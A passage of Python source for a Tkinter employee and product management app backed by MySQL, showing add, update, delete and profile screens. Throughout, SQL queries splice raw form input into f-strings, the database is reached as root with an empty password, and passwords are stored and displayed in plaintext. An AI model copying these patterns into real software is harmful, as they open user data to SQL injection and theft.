self.sales_button.config(bg='#292B37') self.selling_history_button.config(bg='#292B37') self.show_employees_button.config(bg='#292B37') self.add_employees_button.config(bg='#3C3F4A') self.update_employees_button.config(bg='#292B37') self.delete_employees_button.config(bg='#292B37') for widget in self.content_frame.winfo_children(): widget.destroy() def add(): def disappear_alert_label(): try: alert_label.config(bg='#292B37', fg='#292B37') except Exception as e: pass employee_name = employee_name_entry.get() username = username_entry.get() password = password_entry.get() phone_number = phone_number_entry.get() salary = salary_entry.get() designation = designation_entry.get() if employee_name == '' or username == '' or password == '' or phone_number == '' or salary == '' or designation == '': alert_label.config(text='Fill up all the fields', bg='#AA2F2F', fg='white') self.content_frame.after(1500, disappear_alert_label) elif designation.lower() == 'owner': alert_label.config(text='Sorry! Invalid input..', bg='#AA2F2F', fg='white') self.content_frame.after(1500, disappear_alert_label) else: try: db = mysql.connector.connect(host='localhost', user='root', passwd='', database='Easy_Dealer') my_cursor = db.cursor() query = f'INSERT INTO user_table (Full_Name, Phone_Number, Designation, UserName, User_Password, Salary) VALUE("{employee_name}", "{phone_number}", "{designation}", "{username}", "{password}", {salary});' my_cursor.execute(query) db.commit() db.close() alert_label.config(text='Employee added successfully..', bg='#2FA422', fg='white') self.content_frame.after(1500, disappear_alert_label) employee_name_entry.delete(0, 'end') username_entry.delete(0, 'end') password_entry.delete(0, 'end') phone_number_entry.delete(0, 'end') salary_entry.delete(0, 'end') designation_entry.delete(0, 'end') except Exception as e: alert_label.config(text='Sorry! Invalid input..', bg='#AA2F2F', fg='white') self.content_frame.after(1500, disappear_alert_label) add_employees_bg_label = Label(self.content_frame, image=self.add_employees_bg_image) add_employees_bg_label.place(x=-2, y=-2) add_employees_label = Label(self.content_frame, text='ADD EMPLOYEES', font=('Arial Rounded MT', 14, 'bold'), bg='#292B37', fg='#BBBBBB') add_employees_label.place(x=50, y=50) employee_name_label = Label(self.content_frame, text='Employee Name', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') employee_name_label.place(x=106, y=136) username_label = Label(self.content_frame, text='Username', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') username_label.place(x=106, y=200) password_label = Label(self.content_frame, text='Password', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') password_label.place(x=106, y=260) phone_number_label = Label(self.content_frame, text='Phone Number', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') phone_number_label.place(x=106, y=322) salary_label = Label(self.content_frame, text='Salary', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') salary_label.place(x=106, y=383) designation_label = Label(self.content_frame, text='Designation', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') designation_label.place(x=106, y=446) employee_name_entry = Entry(self.content_frame, width=70, font=('Arial Rounded MT', 11, 'bold'), bg='#686972', borderwidth=0, fg='white') employee_name_entry.place(x=281, y=138) username_entry = Entry(self.content_frame, width=70, font=('Arial Rounded MT', 11, 'bold'), bg='#686972', borderwidth=0, fg='white') username_entry.place(x=281, y=200) password_entry = Entry(self.content_frame, width=70, font=('Arial Rounded MT', 11, 'bold'), bg='#686972', borderwidth=0, fg='white') password_entry.place(x=281, y=262) phone_number_entry = Entry(self.content_frame, width=70, font=('Arial Rounded MT', 11, 'bold'), bg='#686972', borderwidth=0, fg='white') phone_number_entry.place(x=281, y=324) salary_entry = Entry(self.content_frame, width=70, font=('Arial Rounded MT', 11, 'bold'), bg='#686972', borderwidth=0, fg='white') salary_entry.place(x=281, y=387) designation_entry = Entry(self.content_frame, width=70, font=('Arial Rounded MT', 11, 'bold'), bg='#686972', borderwidth=0, fg='white') designation_entry.place(x=281, y=448) add_employee_button = Button(self.content_frame, cursor='hand2', image=self.add_employee_button_image, borderwidth=0, activebackground='#292B37', font=('Arial Rounded MT', 10), bg='#292B37', command=add) add_employee_button.place(x=722, y=523) alert_label = Label(self.content_frame, width=30, height=2, text='Sorry, Invalid input..', font=('Arial Rounded MT', 10, 'bold'), bg='#292B37', fg='#292B37') alert_label.place(x=106, y=523) def update_employees_button_clicked(): self.dashboard_button.config(bg='#292B37') self.show_products_button.config(bg='#292B37') self.add_products_button.config(bg='#292B37') self.update_products_button.config(bg='#292B37') self.delete_products_button.config(bg='#292B37') self.sales_button.config(bg='#292B37') self.selling_history_button.config(bg='#292B37') self.show_employees_button.config(bg='#292B37') self.add_employees_button.config(bg='#292B37') self.update_employees_button.config(bg='#3C3F4A') self.delete_employees_button.config(bg='#292B37') for widget in self.content_frame.winfo_children(): widget.destroy() def search(): def disappear_alert_label(): try: alert_label.config(bg='#292B37', fg='#292B37') except Exception as e: pass def update(): fullname = fullname_edit.get() email = email_edit.get() phone = phone_edit.get() address = address_edit.get() dob = dob_edit.get() designation = designation_edit.get() password = password_edit.get() salary = salary_edit.get() if fullname == '' or email == '' or phone == '' or address == '' or dob == '' or designation == '' or password == '' or salary == '': alert_label.config(text='Fill up all the fields', bg='#AA2F2F', fg='white') self.content_frame.after(1500, disappear_alert_label) else: try: db = mysql.connector.connect(host='localhost', user='root', passwd='', database='Easy_Dealer') my_cursor = db.cursor() query = f'UPDATE user_table SET Full_Name = "{fullname}", Email = "{email}", Phone_Number = "{phone}", Address = "{address}", DOB = "{dob}", Designation = "{designation}", User_Password = "{password}", Salary = {salary} WHERE UserName = "{searched_username}";' my_cursor.execute(query) db.commit() db.close() for widget in self.update_content_frame.winfo_children(): widget.destroy() search_edit.delete(0, 'end') alert_label.config(text='Employee updated Successfully..', bg='#2FA422', fg='white') self.content_frame.after(1500, disappear_alert_label) except Exception as e: alert_label.config(text='Sorry! Unable to update', bg='#AA2F2F', fg='white') self.content_frame.after(1500, disappear_alert_label) searched_username = search_edit.get() if searched_username == '': alert_label.config(text='Enter a Username', bg='#AA2F2F', fg='white') self.content_frame.after(1500, disappear_alert_label) else: for widget in self.update_content_frame.winfo_children(): widget.destroy() try: db = mysql.connector.connect(host='localhost', user='root', passwd='', database='Easy_Dealer') my_cursor = db.cursor() query = f'SELECT * FROM user_table WHERE UserName = "{searched_username}"' my_cursor.execute(query) employee = my_cursor.fetchall() if len(employee) == 0 or searched_username == 'karim': alert_label.config(text='Employee doesn\'t exists', bg='#AA2F2F', fg='white') self.content_frame.after(1500, disappear_alert_label) else: fullname = employee[0][0] email = employee[0][1] if email == None: email = '' phone = employee[0][2] address = employee[0][3] if address == None: address = '' dob = employee[0][4] if dob == None: dob = '' designation = employee[0][5] password = employee[0][7] salary = employee[0][8] update_employee_content_bg_label = Label(self.update_content_frame, image=self.update_employee_content_bg_image, bd=0) update_employee_content_bg_label.place(x=0, y=0) fullname_label = Label(self.update_content_frame, text='Name', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') fullname_label.place(x=14, y=37) password_label = Label(self.update_content_frame, text='Password', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') password_label.place(x=14, y=107) designation_label = Label(self.update_content_frame, text='Designation', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') designation_label.place(x=14, y=177) salary_label = Label(self.update_content_frame, text='Salary', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') salary_label.place(x=14, y=243) email_label = Label(self.update_content_frame, text='E-mail', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') email_label.place(x=475, y=37) address_label = Label(self.update_content_frame, text='Address', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') address_label.place(x=475, y=111) phone_label = Label(self.update_content_frame, text='Phone Number', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') phone_label.place(x=475, y=177) dob_label = Label(self.update_content_frame, text='Date of birth', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') dob_label.place(x=475, y=243) fullname_edit = Entry(self.update_content_frame, width=34, font=('Arial Rounded MT', 11, 'bold'), bg='#686972', borderwidth=0, fg='white') fullname_edit.place(x=135, y=39) password_edit = Entry(self.update_content_frame, width=34, font=('Arial Rounded MT', 11, 'bold'), bg='#686972', borderwidth=0, fg='white') password_edit.place(x=135, y=109) designation_edit = Entry(self.update_content_frame, width=34, font=('Arial Rounded MT', 11, 'bold'), bg='#686972', borderwidth=0, fg='white') designation_edit.place(x=135, y=179) salary_edit = Entry(self.update_content_frame, width=34, font=('Arial Rounded MT', 11, 'bold'), bg='#686972', borderwidth=0, fg='white') salary_edit.place(x=135, y=248) email_edit = Entry(self.update_content_frame, width=34, font=('Arial Rounded MT', 11, 'bold'), bg='#686972', borderwidth=0, fg='white') email_edit.place(x=625, y=39) address_edit = Entry(self.update_content_frame, width=34, font=('Arial Rounded MT', 11, 'bold'), bg='#686972', borderwidth=0, fg='white') address_edit.place(x=625, y=109) phone_edit = Entry(self.update_content_frame, width=34, font=('Arial Rounded MT', 11, 'bold'), bg='#686972', borderwidth=0, fg='white') phone_edit.place(x=625, y=179) dob_edit = Entry(self.update_content_frame, width=34, font=('Arial Rounded MT', 11, 'bold'), bg='#686972', borderwidth=0, fg='white') dob_edit.place(x=625, y=248) fullname_edit.delete(0, 'end') password_edit.delete(0, 'end') designation_edit.delete(0, 'end') salary_edit.delete(0, 'end') email_edit.delete(0, 'end') address_edit.delete(0, 'end') phone_edit.delete(0, 'end') dob_edit.delete(0, 'end') fullname_edit.insert(0, fullname) password_edit.insert(0, password) designation_edit.insert(0, designation) salary_edit.insert(0, salary) email_edit.insert(0, email) address_edit.insert(0, address) phone_edit.insert(0, phone) dob_edit.insert(0, dob) update_button = Button(self.update_content_frame, cursor='hand2', image=self.update_employee_button_image, borderwidth=0, activebackground='#292B37', font=('Arial Rounded MT', 10), bg='#292B37', command=update) update_button.place(x=755, y=310) except Exception as e: alert_label.config(text='Sorry! Something went wrong..', bg='#AA2F2F', fg='white') self.content_frame.after(1500, disappear_alert_label) for widget in self.content_frame.winfo_children(): widget.destroy() self.update_employee_bg_label = Label(self.content_frame, image=self.update_employee_bg_image) self.update_employee_bg_label.place(x=-2, y=-2) update_employee_label = Label(self.content_frame, text='UPDATE EMPLOYEE', font=('Arial Rounded MT', 14, 'bold'), bg='#292B37', fg='#BBBBBB') update_employee_label.place(x=50, y=40) username_search_label = Label(self.content_frame, text='Username', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') username_search_label.place(x=220, y=90) search_edit = Entry(self.content_frame, width=41, font=('Arial Rounded MT', 11, 'bold'), bg='#686972', borderwidth=0, fg='white') search_edit.place(x=332, y=90) search_edit.delete(0, 'end') search_button = Button(self.content_frame, cursor='hand2', image=self.search_button_image, borderwidth=0, activebackground='#292B37', font=('Arial Rounded MT', 10), bg='#292B37', command=search) search_button.place(x=680, y=78) self.update_content_frame = Frame(self.content_frame, width=938, height=387, bg='#292B37') # bg='#292B37' self.update_content_frame.place(x=22, y=186) alert_label = Label(self.content_frame, width=32, height=2, text='Sorry, Invalid input..', font=('Arial Rounded MT', 10, 'bold'), bg='#292B37', fg='#292B37') alert_label.place(x=90, y=560) def delete_employees_button_clicked(): self.dashboard_button.config(bg='#292B37') self.show_products_button.config(bg='#292B37') self.add_products_button.config(bg='#292B37') self.update_products_button.config(bg='#292B37') self.delete_products_button.config(bg='#292B37') self.sales_button.config(bg='#292B37') self.selling_history_button.config(bg='#292B37') self.show_employees_button.config(bg='#292B37') self.add_employees_button.config(bg='#292B37') self.update_employees_button.config(bg='#292B37') self.delete_employees_button.config(bg='#3C3F4A') for widget in self.content_frame.winfo_children(): widget.destroy() def search(): def disappear_alert_label(): try: alert_label.config(bg='#292B37', fg='#292B37') except Exception as e: pass def delete(): user_response = messagebox.askokcancel('Confirm Deletion', 'Do you want to delete the Employee ?') if user_response: try: db = mysql.connector.connect(host='localhost', user='root', passwd='', database='Easy_Dealer') my_cursor = db.cursor() query = f'DELETE FROM user_table WHERE UserName = "{searched_username}";' my_cursor.execute(query) db.commit() db.close() for widget in self.delete_content_frame.winfo_children(): widget.destroy() search_edit.delete(0, 'end') alert_label.config(text='Successfully deleted the employee', bg='#2FA422', fg='white') self.content_frame.after(1500, disappear_alert_label) except Exception as e: alert_label.config(text='Sorry! Unable to delete', bg='#AA2F2F', fg='white') self.content_frame.after(1500, disappear_alert_label) else: pass searched_username = search_edit.get() if searched_username == '': alert_label.config(text='Enter a Username', bg='#AA2F2F', fg='white') self.content_frame.after(1500, disappear_alert_label) else: for widget in self.delete_content_frame.winfo_children(): widget.destroy() try: db = mysql.connector.connect(host='localhost', user='root', passwd='', database='Easy_Dealer') my_cursor = db.cursor() query = f'SELECT * FROM user_table WHERE UserName = "{searched_username}"' my_cursor.execute(query) employee = my_cursor.fetchall() if len(employee) == 0 or searched_username == 'karim': alert_label.config(text='Employee doesn\'t exists', bg='#AA2F2F', fg='white') self.content_frame.after(1500, disappear_alert_label) else: fullname = employee[0][0] email = employee[0][1] if email == None: email = '' phone = employee[0][2] address = employee[0][3] if address == None: address = '' dob = employee[0][4] if dob == None: dob = '' designation = employee[0][5] password = employee[0][7] salary = employee[0][8] fullname_label = Label(self.delete_content_frame, text='Name', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') fullname_label.place(x=202, y=22) password_label = Label(self.delete_content_frame, text='Password', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') password_label.place(x=202, y=66) designation_label = Label(self.delete_content_frame, text='Designation', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') designation_label.place(x=202, y=110) salary_label = Label(self.delete_content_frame, text='Salary', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') salary_label.place(x=202, y=154) email_label = Label(self.delete_content_frame, text='E-mail', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') email_label.place(x=202, y=198) address_label = Label(self.delete_content_frame, text='Address', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') address_label.place(x=202, y=242) phone_label = Label(self.delete_content_frame, text='Phone Number', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') phone_label.place(x=202, y=286) dob_label = Label(self.delete_content_frame, text='Date of birth', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') dob_label.place(x=202, y=330) fullname_label1 = Label(self.delete_content_frame, text=fullname, font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') fullname_label1.place(x=350, y=22) password_label1 = Label(self.delete_content_frame, text=password, font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') password_label1.place(x=350, y=66) designation_label1 = Label(self.delete_content_frame, text=designation, font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') designation_label1.place(x=350, y=110) salary_label1 = Label(self.delete_content_frame, text=salary, font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') salary_label1.place(x=350, y=154) email_label1 = Label(self.delete_content_frame, text=email, font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') email_label1.place(x=350, y=198) address_label1 = Label(self.delete_content_frame, text=address, font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') address_label1.place(x=350, y=242) phone_label1 = Label(self.delete_content_frame, text=phone, font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') phone_label1.place(x=350, y=286) dob_label1 = Label(self.delete_content_frame, text=dob, font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') dob_label1.place(x=350, y=330) # fullname_edit.delete(0, 'end') # password_edit.delete(0, 'end') # designation_edit.delete(0, 'end') # salary_edit.delete(0, 'end') # email_edit.delete(0, 'end') # address_edit.delete(0, 'end') # phone_edit.delete(0, 'end') # dob_edit.delete(0, 'end') # # fullname_edit.insert(0, fullname) # password_edit.insert(0, password) # designation_edit.insert(0, designation) # salary_edit.insert(0, salary) # email_edit.insert(0, email) # address_edit.insert(0, address) # phone_edit.insert(0, phone) # dob_edit.insert(0, dob) delete_button = Button(self.delete_content_frame, cursor='hand2', image=self.delete_employee_button_image, borderwidth=0, activebackground='#292B37', font=('Arial Rounded MT', 10), bg='#292B37', command=delete) delete_button.place(x=640, y=380) except Exception as e: alert_label.config(text='Sorry! Something went wrong..', bg='#AA2F2F', fg='white') self.content_frame.after(1500, disappear_alert_label) for widget in self.content_frame.winfo_children(): widget.destroy() self.delete_employee_bg_label = Label(self.content_frame, image=self.update_employee_bg_image) self.delete_employee_bg_label.place(x=-2, y=-2) delete_employee_label = Label(self.content_frame, text='DELETE EMPLOYEE', font=('Arial Rounded MT', 14, 'bold'), bg='#292B37', fg='#BBBBBB') delete_employee_label.place(x=50, y=40) username_search_label = Label(self.content_frame, text='Username', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') username_search_label.place(x=220, y=90) search_edit = Entry(self.content_frame, width=41, font=('Arial Rounded MT', 11, 'bold'), bg='#686972', borderwidth=0, fg='white') search_edit.place(x=332, y=90) search_edit.delete(0, 'end') search_button = Button(self.content_frame, cursor='hand2', image=self.search_button_image, borderwidth=0, activebackground='#292B37', font=('Arial Rounded MT', 10), bg='#292B37', command=search) search_button.place(x=680, y=78) self.delete_content_frame = Frame(self.content_frame, width=938, height=446, bg='#292B37') # bg='#292B37' self.delete_content_frame.place(x=22, y=154) alert_label = Label(self.content_frame, width=32, height=2, text='Sorry, Invalid input..', font=('Arial Rounded MT', 10, 'bold'), bg='#292B37', fg='#292B37') alert_label.place(x=90, y=560) def logout(): user_response = messagebox.askyesno('Confirm Logout', 'Do you really want to logout ?') if user_response: try: self.Login_Page = QtWidgets.QMainWindow() self.ui = Login_Page.Ui_Login_Window() self.ui.setupUi(self.Login_Page) self.root.destroy() self.Login_Page.show() except Exception as e: print(e) else: pass def profile(): def edit(): def disappear_alert_label(): try: alert_label.config(bg='#292B37', fg='#292B37') except Exception as e: pass def save(): name = fullname_entry.get() password = password_entry.get() phone = phone_entry.get() email = email_entry.get() address = address_entry.get() dob = dob_entry.get() if name == '' or password == '' or phone == '' or email == '' or address == '' or dob == '': alert_label.config(text='Fill up all the fields..', bg='#AA2F2F', fg='white') self.content_frame.after(1500, disappear_alert_label) else: try: db = mysql.connector.connect(host='localhost', user='root', passwd='', database='Easy_Dealer') my_cursor = db.cursor() query = f'UPDATE user_table SET Full_Name="{name}", User_Password="{password}", Phone_Number="{phone}", Email="{email}", Address="{address}", DOB="{dob}" WHERE UserName="{self.username}"' my_cursor.execute(query) db.commit() for widget in prof.winfo_children(): widget.destroy() profile_content() except Exception as e: alert_label.config(text='Sorry! Unable to edit..', bg='#AA2F2F', fg='white') self.content_frame.after(1500, disappear_alert_label) for widget in prof.winfo_children(): widget.destroy() edit_profile_bg_label = Label(prof, image=self.edit_profile_bg_image) edit_profile_bg_label.place(x=-2, y=-2) edit_profile_label = Label(prof, text='EDIT PROFILE', font=('Arial Rounded MT', 12, 'bold'), bg='#292B37', fg='#BBBBBB') edit_profile_label.place(x=40, y=40) fullname_label = Label(prof, text=f'Name', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') fullname_label.place(x=72, y=110) password_label = Label(prof, text=f'Password', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') password_label.place(x=72, y=159) phone_label = Label(prof, text=f'Phone Number', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') phone_label.place(x=72, y=207) email_label = Label(prof, text=f'E-mail', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') email_label.place(x=72, y=255) address_label = Label(prof, text=f'Address', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') address_label.place(x=72, y=303) dob_label = Label(prof, text=f'Date of birth', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') dob_label.place(x=72, y=352) fullname_entry = Entry(prof, font=('Arial Rounded MT', 11, 'bold'), bg='#686972', fg='white', borderwidth=0, width=40) fullname_entry.place(x=198, y=110) password_entry = Entry(prof, font=('Arial Rounded MT', 11, 'bold'), bg='#686972', fg='white', borderwidth=0,) password_entry.place(x=198, y=159) phone_entry = Entry(prof, font=('Arial Rounded MT', 11, 'bold'), bg='#686972', fg='white', borderwidth=0,) phone_entry.place(x=198, y=207) email_entry = Entry(prof, font=('Arial Rounded MT', 11, 'bold'), bg='#686972', fg='white', borderwidth=0,) email_entry.place(x=198, y=255) address_entry = Entry(prof, font=('Arial Rounded MT', 11, 'bold'), bg='#686972', fg='white', borderwidth=0,) address_entry.place(x=198, y=303) dob_entry = Entry(prof, font=('Arial Rounded MT', 11, 'bold'), bg='#686972', fg='white', borderwidth=0,) dob_entry.place(x=198, y=352) try: db = mysql.connector.connect(host='localhost', user='root', passwd='', database='Easy_Dealer') my_cursor = db.cursor() query = f'SELECT * FROM user_table WHERE UserName = "{self.username}"' my_cursor.execute(query) user_details = my_cursor.fetchall() fullname_entry.insert(0, user_details[0][0]) password_entry.insert(0, user_details[0][7]) phone_entry.insert(0, user_details[0][2]) email_entry.insert(0, user_details[0][1]) address_entry.insert(0, user_details[0][3]) dob_entry.insert(0, user_details[0][4]) except Exception as e: print(e) save_button = Button(prof, cursor='hand2', image=self.save_button_image, borderwidth=0, activebackground='#292B37', font=('Arial Rounded MT', 10), bg='#292B37', command=save) save_button.place(x=482, y=441) cancel_button = Button(prof, cursor='hand2', image=self.cancel_button_image, borderwidth=0, activebackground='#292B37', font=('Arial Rounded MT', 10), bg='#292B37', command=profile_content) cancel_button.place(x=387, y=441) alert_label = Label(prof, width=32, height=2, text='Sorry, Invalid input..', font=('Arial Rounded MT', 10, 'bold'), bg='#292B37', fg='#292B37') alert_label.place(x=40, y=435) def profile_content(): for widget in prof.winfo_children(): widget.destroy() try: db = mysql.connector.connect(host='localhost', user='root', passwd='', database='Easy_Dealer') my_cursor = db.cursor() query = f'SELECT * FROM user_table WHERE UserName = "{self.username}"' my_cursor.execute(query) user_details = my_cursor.fetchall() profile_label = Label(prof, text='PROFILE', font=('Arial Rounded MT', 12, 'bold'), bg='#292B37', fg='#BBBBBB') profile_label.place(x=50, y=48) name_label = Label(prof, text=user_details[0][0], font=('Arial Rounded MT', 14, 'bold'), bg='#292B37', fg='white') name_label.place(x=76, y=109) designation_label = Label(prof, text=user_details[0][5], font=('Arial Rounded MT', 12, 'bold'), bg='#292B37', fg='white') designation_label.place(x=76, y=150) username_label = Label(prof, text=f'Username {user_details[0][6]}', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') username_label.place(x=76, y=231) phone_label = Label(prof, text=f'Phone Number {user_details[0][2]}', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') phone_label.place(x=76, y=269) email_label = Label(prof, text=f'E-mail {user_details[0][1]}', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') email_label.place(x=76, y=307) address_label = Label(prof, text=f'Address {user_details[0][3]}', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') address_label.place(x=76, y=345) dob_label = Label(prof, text=f'Date of birth {user_details[0][4]}', font=('Arial Rounded MT', 11, 'bold'), bg='#292B37', fg='white') dob_label.place(x=76, y=384) edit_button = Button(prof, cursor='hand2', image=self.edit_button_image, borderwidth=0, activebackground='#292B37', font=('Arial Rounded MT', 10), bg='#292B37', command=edit) edit_button.place(x=450, y=45) except Exception as e: print(e) prof = Toplevel() screen_width = self.root.winfo_screenwidth() screen_height = self.root.winfo_screenheight() start_width = int((screen_width - 600) / 2) start_height = int((screen_height - 500) / 2) prof.title('User Profile') prof.iconbitmap(directory_path + '/images/logo.ico') prof.geometry(f'600x500+{start_width}+{start_height - 30}') prof.resizable(False, False) prof.config(bg='#292B37') profile_content() self.main_background_image = ImageTk.PhotoImage(Image.open(directory_path + '/images/main_bg.png')) self.dashboard_logo_image = ImageTk.PhotoImage(Image.open(directory_path + '/images/dashboard_logo.png')) self.dashboard_bg_image = ImageTk.PhotoImage(Image.open(directory_path + '/images/dashboard_bg.png')) self.notification_image = ImageTk.PhotoImage(Image.open(directory_path + '/images/notification_img.png')) self.user_icon_image = ImageTk.PhotoImage(Image.open(directory_path + '/images/user_icon.png')) self.logout_icon_image = ImageTk.PhotoImage(Image.open(directory_path + '/images/logout_img.png')) self.add_products_bg_image = ImageTk.PhotoImage(Image.open(directory_path + '/images/add_product_bg.png')) self.add_products_button_image = ImageTk.PhotoImage(Image.open(directory_path + '/images/add_product_button.png')) self.update_product_bg_image = ImageTk.PhotoImage(Image.open(directory_path + '/images/update_product_bg.png')) self.search_button_image = ImageTk.PhotoImage(Image.open(directory_path + '/images/search_button_img.png')) self.update_content_image = ImageTk.PhotoImage(Image.open(directory_path + '/images/update_content.png')) self.update_button_image = ImageTk.PhotoImage(Image.open(directory_path + '/images/update_button_img.png')) self.delete_button_image = ImageTk.PhotoImage(Image.open(directory_path + '/images/delete_button_img.png')) self.add_employees_bg_image = ImageTk.PhotoImage(Image.open(directory_path + '/images/add_employee_bg.png')) self.add_employee_button_image = ImageTk.PhotoImage(Image.open(directory_path + '/images/add_employee_button_img.png')) self.update_employee_bg_image = ImageTk.PhotoImage(Image.open(directory_path + '/images/update_employee_bg.png')) self.update_employee_content_bg_image = ImageTk.PhotoImage(Image.open(directory_path + '/images/update_employee_content.png')) self.update_employee_button_image = ImageTk.PhotoImage(Image.open(directory_path + '/images/update_employee_button_img.png')) self.delete_employee_button_image = ImageTk.PhotoImage(Image.open(directory_path + '/images/delete_employee_button.png')) self.show_employees_bg_image = ImageTk.PhotoImage(Image.open(directory_path + '/images/show_employees_title_bg.png')) self.show_employee_bg_image = ImageTk.PhotoImage( Image.open(directory_path + '/images/show_employee_bg.png')) self.sales_bg_image = ImageTk.PhotoImage(Image.open(directory_path + '/images/sales_bg.png')) self.ok_button_image = ImageTk.PhotoImage(Image.open(directory_path + '/images/ok_button.png')) self.search_button_icon_image = ImageTk.PhotoImage(Image.open(directory_path + '/images/search_icon.png')) self.selling_history_bg_image = ImageTk.PhotoImage(Image.open(directory_path + '/images/selling_history_bg.png')) self.edit_button_image = ImageTk.PhotoImage(Image.open(directory_path + '/images/edit_button_img.png')) self.edit_profile_bg_image = ImageTk.PhotoImage(Image.open(directory_path + '/images/owner_edit_profile_bg.png')) self.save_button_image = ImageTk.PhotoImage(Image.open(directory_path + '/images/save_button.png')) self.cancel_button_image = ImageTk.PhotoImage(Image.open(directory_path + '/images/cancel_button.png')) self.main_background_label = Label(self.root, image=self.main_background_image) self.main_background_label.place(x=-2, y=-2) try: db = mysql.connector.connect(host='localhost', user='root', passwd='', database='Easy_Dealer') my_cursor = db.cursor() query = f'SELECT Full_Name FROM user_table WHERE UserName = "{self.username}"' my_cursor.execute(query) fullname = my_cursor.fetchone()[0] except Exception as e: print(e) self.profile_button = Button(self.root, cursor='hand2', image=self.user_icon_image, borderwidth=0, activebackground='#292B37', font=('Arial Rounded MT', 10), bg='#292B37', command=profile) self.profile_button.place(x=930, y=25) self.profile_name_label = Label(self.root, text=fullname, anchor='w', width=25, font=('Arial Rounded MT', 10, 'bold'), bg='#292B37', fg='#BBBBBB') self.profile_name_label.place(x=962, y=28) self.logout_button = Button(self.root, cursor='hand2', image=self.logout_icon_image, borderwidth=0, activebackground='#292B37', font=('Arial Rounded MT', 10), bg='#292B37', command=logout) self.logout_button.place(x=1200, y=22) self.content_frame = Frame(self.root, width=980, height=630, bg='#292B37') #bg='#292B37' self.content_frame.place(x=278, y=64) self.dashboard_bg_label = Label(self.content_frame, image=self.dashboard_bg_image) self.dashboard_bg_label.place(x=-2, y=-2) self.side_frame = Frame(self.root, width=255, height=425, bg='#292B37') # bg='#292B37' self.side_frame.place(x=18, y=255) temp_frame = Frame(self.side_frame, width=230, height=421, bg='#292B37', border=None) temp_frame.place(x=2, y=2) showall_canvas = Canvas(temp_frame, width=230, height=421, bg='#292B37') vertical_bar = ttk.Scrollbar(temp_frame, orient='vertical', command=showall_canvas.yview) vertical_bar.pack(side=RIGHT, fill='y') showall_canvas.config(yscrollcommand=vertical_bar.set) final_frame = Frame(temp_frame, width=230, height=421, bg='#292B37') showall_canvas.create_window((0, 0), window=final_frame, anchor='nw') showall_canvas.bind('<Configure>', lambda e: showall_canvas.configure(scrollregion=showall_canvas.bbox('all'))) final_frame.bind('<Enter>', bound_to_mousewheel) final_frame.bind('<Leave>', unbound_to_mousewheel) border_hide_label1 = Label(self.root, bg='#292B37', height=28, width=-1) border_hide_label1.place(x=17, y=255) border_hide_label2 = Label(self.root, bg='#292B37', height=0, width=36) border_hide_label2.place(x=16, y=238) border_hide_label3 = Label(self.root, bg='#292B37', height=28, width=-1) border_hide_label3.place(x=248, y=255) showall_canvas.config(yscrollcommand=vertical_bar.set) showall_canvas.pack(side=LEFT, expand=True, fill=BOTH) self.dashboard_button = Button(final_frame, text='DASHBOARD ', cursor='hand2', font=('Arial Rounded MT', 11, 'bold'), height=2, width=25, fg='white', bg='#3C3F4A', borderwidth=0, activebackground='#333640', activeforeground='white', command=dashboard_button_clicked) self.dashboard_button.pack() self.show_products_button = Button(final_frame, text='SHOW PRODUCTS ', cursor='hand2', font=('Arial Rounded MT', 11, 'bold'), height=2, width=25, fg='white', bg='#292B37', borderwidth=0, activebackground='#333640', activeforeground='white', command=show_products_button_clicked) self.show_products_button.pack() self.add_products_button = Button(final_frame, text='ADD PRODUCTS ', cursor='hand2', font=('Arial Rounded MT', 11, 'bold'), height=2, width=25, fg='white', bg='#292B37', borderwidth=0, activebackground='#333640', activeforeground='white', command=add_products_button_clicked) self.add_products_button.pack() self.update_products_button = Button(final_frame, text='UPDATE PRODUCTS ', cursor='hand2', font=('Arial Rounded MT', 11, 'bold'), height=2, width=25, fg='white', bg='#292B37', borderwidth=0, activebackground='#333640', activeforeground='white', command=update_products_button_clicked) self.update_products_button.pack() self.delete_products_button = Button(final_frame, text='DELETE PRODUCTS ', cursor='hand2', font=('Arial Rounded 